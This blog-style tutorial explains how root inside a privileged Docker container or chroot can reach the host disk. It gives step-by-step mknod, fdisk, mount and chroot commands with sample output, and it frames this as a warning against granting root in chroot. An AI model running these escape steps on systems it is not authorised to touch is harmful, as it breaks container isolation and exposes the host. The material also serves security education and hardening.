In this post I'm going to access supervisor's filesystem when having root in chroot. With that, I want to show you, why you should never give root access to users in chroot.
Crash course
Because docker (like most of container technologies) uses chroot, exiting a chroot or docker will use the same technique. Presented method need root access in docker run as privileged (in case you use docker).
# docker run -it --privileged centos /bin/bash
# mknod /tmp/host_disk b 259 1
# mount /tmp/host_disk /mnt/
# chroot /mnt/ /bin/bash
Method description
This method uses chroot to the supervisor's filesystem. Usually, we don't have /dev/ directory in chroot, so we cannot mount host filesystem and we have to create special device file manually.
In Linux devices are represented by special files. Two, the most important, device types are block devices and character devices. Character devices are devices which communicates by single char at a time and block devices are devices which communicates with blocks.
Usually, character devices let only read and write. These devices are ex. mouse, keyboard, /dev/random, pseudoterminal. Block devices let you random access to device. These devices are ex. hard disk, cdrom.
Every device special file is defined by three parameters:
- type: block or character device
- major: major device number
- minor: minor device number
Linux kernel using type, major and minor knows which driver should handle device operations. Full list of defined majors and minors is defined in linux kernel documentation
You can use mknod to create device special file. But, there is a catch. Because, we have to know major and minor numbers of device we want to create, we have to guess them. We can use documentation to know, that IDE hard disk have major 3, SCSI major 8 and so on. This well know values are good starting points while looking for device with hosts filesystem. If it's not any of them, we have to loop over all possible devices.
# docker run --rm -it --privileged centos /bin/bash
# mkdir /tmp/devices
# cd /tmp/devices/
# for i in $(seq 1 300); do mknod device_$i b $i 0; done
# ls -l
brw-r--r--. 1 root root 1, 0 Feb 10 16:57 device_1
brw-r--r--. 1 root root 10, 0 Feb 10 16:57 device_10
brw-r--r--. 1 root root 100, 0 Feb 10 16:57 device_100
brw-r--r--. 1 root root 101, 0 Feb 10 16:57 device_101
brw-r--r--. 1 root root 102, 0 Feb 10 16:57 device_102
brw-r--r--. 1 root root 103, 0 Feb 10 16:57 device_103
brw-r--r--. 1 root root 104, 0 Feb 10 16:57 device_104
(...)
# fdisk -l * 2>/dev/null
Disk device_1: 16 MB, 16777216 bytes, 32768 sectors
Units = sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
Disk device_253: 44.0 GB, 44023414784 bytes, 85983232 sectors
Units = sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
Disk label type: dos
Disk identifier: 0x0009b93d
Device Boot Start End Blocks Id System
device_253p1 * 2048 83886079 41942016 83 Linux
As we can se, there are only two existing block devices: device_1 and device_253. device_1 is RAM disk, so it's not what we are looking for. The next one looks like host filesystem device. If case we didn't find any device, we should try looking for minor different than 0. Because minor 0 is used for whole drive, and we want to access specific partition, we have to create device for specific partition.
# mknod device_253_1 b 253 1
Now, when we have device for host root filesystem, we can mount that partition and chroot.
# mount device_253_1 /mnt/
# chroot /mnt/ /bin/bash
And now we have broken chroot and access host filesystem.